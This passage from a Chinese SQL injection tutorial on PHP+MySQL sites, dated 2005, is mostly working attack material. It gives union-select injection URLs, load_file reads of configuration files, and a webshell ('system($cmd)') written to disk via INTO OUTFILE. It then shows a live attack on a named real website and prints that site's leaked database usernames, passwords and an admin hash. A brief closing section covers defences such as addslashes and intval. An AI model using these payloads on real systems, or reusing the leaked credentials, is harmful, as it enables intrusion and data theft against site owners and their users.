爽否?Webshell我們已經建立成功了。看到最前面的12了沒?那就是我們select 1,2所輸出的!
2)下面再講一個適用於magic_quotes_gpc=On的時候儲存webshell的方法哦,顯然肯定也能用在於magic_quotes_gpc=Off的時候啦。
我們直接讀他的配置檔案,用技巧2介紹的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
得到sql.inc.php內容為
<?$connect=@mysql_connect("localhost","root","") or  die("Unable  to  connect  to  SQL  server");mysql_select_db("alpha",$connect) or  die("Unable  to  select  database");?>
好了我們知道了mysql的root密碼了,我們找到phpmyadmin的後臺
http://localhost/phpmyadmin/
用root密碼為空登陸。
如圖30
然後我們新建立一個表結構內容如下:

#
# 資料表的結構 `te`
#
CREATE TABLE te (
  cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 匯出下面的資料庫內容 `te`
#
INSERT INTO te VALUES ('<?php system($cmd); ?>');
Ok,是我們用select * from table into outfile’’的時候了
直接在phpmyadmin的sql輸入
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如圖31

Ok,成功執行,我們去http://localhost/site/cmd1.php?cmd=dir看看效果去
如圖32

好爽的一個webshell是吧!哈哈,我也很喜歡。
不過不知道大家有沒有發現我們是在magic_quotes_gpc=On的情況下完成這項工作的,竟然在phpmyadmin裡可以不用考慮引號的限制,哈哈,說明什麼?說明phpmyadmin太偉大了,這也就是我們在談magic_quotes_gpc=On繞過時所賣的那個關子啦!
6.發現沒有我們還可以利用update和insert來插入我們的資料,然後來得到我們的webshell哦,還用上面的那個例子,
<?php
//reg.php
……
$query = "INSERT INTO members
VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
我們在email的地方輸入<?php system($cmd); ?>
假設我們註冊後的id為10
那麼我們可以再找到一個可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php'
好了,我們又有了我們的wenshell了哦。
7.mysql的跨庫查詢
大家是不是一直聽說mysql不能跨庫查詢啊,哈哈,今天我將要教大家一個好方法,通過這個方法來實現變相的跨庫查詢,方法就是通過load_file來直接讀出mysql中data資料夾下的檔案內容,從而實現變態跨庫查詢。
舉個例子啦
在這之前我們先講一下mysql的data資料夾下的結構
Data資料夾下有按資料庫名生成的資料夾,資料夾下按照表名生成三個字尾為frm,myd,myi的三個檔案,例如
Mysql中有alpha資料庫,在alpha庫中有alphaauthor和alphadb兩個表,
Alpha資料夾內容如下圖33

其中alphadb.frm放著lphadb表中的資料,alphadb.frm放著表的結構,alphadb.myi中放的內容隨mysql的版本不通會有所不同,具體可以自己用記事本開啟來判斷。
實驗開始
假設我們知道有另外的一個資料庫yminfo210存在,且存在表user,user中放這admin的資訊。
我們
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210/user.myd'),4,5,6,7,8,9,10,11
說明一下,load_file預設所在的目錄是mysql下的data目錄,所以我們用
load_file('yminfo210/user.myd'),當然load_file('.info210/user.myd')也是一樣的,注意的是into outfile的預設路徑是在所在的資料庫資料夾下。

結果如圖34

我們看讀出來的內容
舼?   admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer  http://www.yoursite.com  (?靃?KA靃?靃?  127.0.0.1  d|??  aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd   ?E麷AM麷A 127.0.0.1 222  222222223423
雖然亂碼一堆,但是我們還是可以看出使用者名稱是admin,密碼是698d51a19d8a121ce581499d7b701668,後面其它的是另外的資訊。
通過這種方法我們就實現了曲線跨庫,下面的例子中也會提到哦!

說了這麼多下面我們來具體的使用一次,這次測試的物件是國內一著名安全類站點――黑白網路
聽人家說黑白有漏洞?我們一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常顯示。
如圖35

http://www.heibai.net/down/show.php?id=5403%20and%201=2
顯示不正常。
如圖36

好,我們繼續
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
顯示結果如下
如圖37

注意看圖中沒有顯示程式名,而且還附帶了
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:/web/heibai/down/show.php on line 45

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:/web/heibai/down/global.php on line 578

暈了,網站路徑出來了,那可就死定了哦!
我們繼續,直到我們猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的時候正常顯示了。
如圖38

好我們轉換語句成為
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
顯示如圖39

看看簡介處顯示為12,我們可以猜測此處應該為字元型!
Ok,我們下面看看檔案內容先
D:/web/heibai/down/show.php轉化成ascii後為
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我們
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),

13,14,15,16,17,18,19
view-source:是指察看原始碼,至於為什麼用,我們後面將講到
顯示出它的原始碼
如圖40

因為在show.php中有一句

如果我們直接在瀏覽器裡提交會跳轉到list.php
我們發現這句require ("./include/config.inc.php");
好東西,應該放這配置檔案,ok繼續
d:/web/heibai/down/include/config.inc.php
轉化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,

99,111,110,102,105,103,46,105,110,99,46,112,104,112)
我們輸入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,

99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
顯示結果如圖41

裡面內容主要有
…………………..
ymDown (夜貓下載系統) 是一個應用於網站提供下載服務的的程式
// ------------------------- -------- ------------------------- //
//                           常規設定                           //
// ------------------------- -------- ------------------------- //


// 資料庫資訊
$dbhost = "localhost"; // 資料庫主機名
$dbuser = "download";// 資料庫使用者名稱
$dbpasswd = "kunstar988"; // 資料庫密碼
$dbname = "download"; // 資料庫名

// Cookie 名稱
$cookie_name = "heibai";
// 版本號
$version = "1.0.1";

// 資料表名
$down_table = ymdown;
$down_user_table = ymdown_user;
$down_sort1_table = ymdown_sort1;
$down_sort2_table = ymdown_sort2;
暈原來用的是夜貓的下載系統,而且我們知道了
$dbuser = "download";// 資料庫使用者名稱
$dbpasswd = "kunstar988"; // 資料庫密碼
說不定呆會有用哦。
用的表名是預設的表名,我們知道夜貓的管理員密碼放在ymdown_user中
我們繼續http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user
結果如圖42

根據提示我們知道檔案大小處的是username,應用平臺處的是password(對照圖36)
即username=dload,password=6558428,夜貓的後臺預設在admin目錄下,我試驗了很久都沒有找到,暈之。
想直接連線mysql,發現telnet埠並沒有開放。我們去看看別的吧!
http://www.heibai.net/vip/article/login.php
看起來像是會員的登陸哦,我們看看先
d:/web/heibai/vip/article/login.php
轉化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,

103,105,110,46,112,104,112)
我們輸入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,

103,105,110,46,112,104,112)),13,14,15,16,17,18,19
結果如圖43:

其中
require ("./include/global.php");
require ("./include/config.inc.php");
require ("./mainfunction.php");
require ("./function.php");
當然了,我們去看config.inc.php吧
d:/web/heibai/vip/article/include/config.inc.php
轉成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,

110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
輸入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,

110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
結果如圖44

顯示了很多好東西哦

$dbhost = "localhost"; // 資料庫主機名
$dbuser = "root"; // 資料庫使用者名稱
$dbpass = "234ytr8ut"; // 資料庫密碼
$dbname = "article"; // 資料庫名
$ymcms_user_table = "user";
$ymcms_usergroup_table = "usergroup";
$ymcms_userrace_table = "userrace";
表還是預設的表,而且出來了root的密碼
要是能連上它的mysql該多好啊,那樣我們就可以into outfile了
痛苦的找了找phpmyadmin,沒有找見,或許根本就沒有用。
讀c:/winnt/php.ini發現
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
55555555,痛苦中,我們看看能不能搞幾個會員賬號
猜測會員賬號放在user表中,我們直接讀data下article資料夾裡的user.myd檔案
Article/user.myd轉換成
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
我們輸入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19
結果如圖45:

暈了,竟然沒有返回。我們來讀Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19
結果如圖46

暈了,表結構都在,而且讀Article/user.myi時也成功,可是為什麼Article/user.myd讀不出來呢?要是magic_quotes_gpc=Off我們還可以into outfile來看看,可是……
鬱悶中,測試就這樣結束吧,下面的工作還是留給你們來完成吧!
文中所述問題已經通知星坤了!
四:php+mysql注入的防範方法。
在上一期的專題裡已經講了很多的防範方法,這裡我就主要講一下php+mysql注射攻擊的防範方法。
大家看到,在magic_quotes_gpc=On的時候,很多的注射攻擊已經沒有作用了。
我們可以利用這個來加固我們的程式。Addslashes()函式等同於magic_quotes_gpc=On,而且與magic_quotes_gpc=On也不衝突,我們可以這樣過濾
$username = addslashes($username);
$query="SELECT * FROM users WHERE userid='$username'");
對於id型我們可以利用intval()函式,intval()函式可以將變數轉換成整數型別,這樣就可以了。
我們可以這樣
$id = intval($id);
$query="SELECT * FROM alphadb WHERE articleid='$id'");
如果是字元型的呢?
我們可以先用addslashes()過濾一下,然後再過濾”%”和”_”.
例如:
$search = addslashes($search);
$search = str_replace("_","/_",$search);
$search = str_replace("%","/%",$search);
記得,可千萬別在magic_quotes_gpc=On的情況下替換/為//,如下:
$password=str_replace("//","////",$password);
我記得在darkness的文章《對某PHP站點的一次滲透》中提到過這個問題(在光碟中有收錄)。
還有的就是登陸的地方,如果是隻用一個管理員管理的話,我們可以直接對username和passwd用md5加密,這樣就不用害怕注入技術的發展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
我的後臺登陸就是這樣子的哦。
後記:
本文就講這麼多了,注入是一門靈活的技術,有很多技術還在繼續發展中,有任何問題和意見可以到炎黃兵團(www.cnwill.com/www.securityfaq.org)來找我,也歡迎對文中內容批評指正。為便於大家學習本文所用到的文章系統也將隨光碟附送。
後後記:
此文還是一年前所作,時至今日,很多的新的技術都已經湧現出來,具體的內容請參閱安全天使www.4ngel.net網站,關於本文的任何問題您可以到www.securityfaq.org提出。
                                                    -------Alpha-------
                                                            20050309



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=740486


相關文章